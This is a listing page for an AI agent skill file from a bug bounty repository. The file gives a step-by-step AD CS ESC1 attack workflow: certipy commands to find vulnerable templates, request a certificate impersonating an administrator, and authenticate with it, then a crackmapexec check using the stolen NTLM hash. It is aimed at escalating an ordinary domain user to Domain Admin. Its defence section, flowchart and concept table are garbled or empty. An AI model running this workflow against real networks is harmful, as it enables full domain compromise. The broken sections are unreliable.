Ad cs esc1 abuse
bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill ad-cs-esc1-abuseAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly escalate privileges across the entire AD environment.
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
4.2 KB, as published. Nobody here has run it
AD CS Abuse - ESC1 (Subject Alternative Name)
When to Use
- When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
- To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)
# Concept: ESC1 ```
```bash
# certipy find -u [email protected] -p Password123! -dc-ip 10.10.10.10 -vulnerable
Phase 2: Requesting the Certificate
# Concept: With a vulnerable template certipy req -u [email protected] -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn [email protected]
Phase 3: Authenticating with the Certificate (Pass-the-Certificate)
# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local
Phase 4: Validating Access
# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
Decision Point 🔀
flowchart TD
A[Find Template ] --> B{ESC1 Vulnerable ]}
B -->|Yes| C[Request ]
B -->|No| D[Check ]
C --> E[Auth ]
🔵 Blue Team Detection & Defense
- Audit Templates: Monitor Event Logs: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- SpecterOps: Certified Pre-Owned (AD CS Whitepaper)
- Certipy: Certipy Documentation
- TryHackMe: AD CS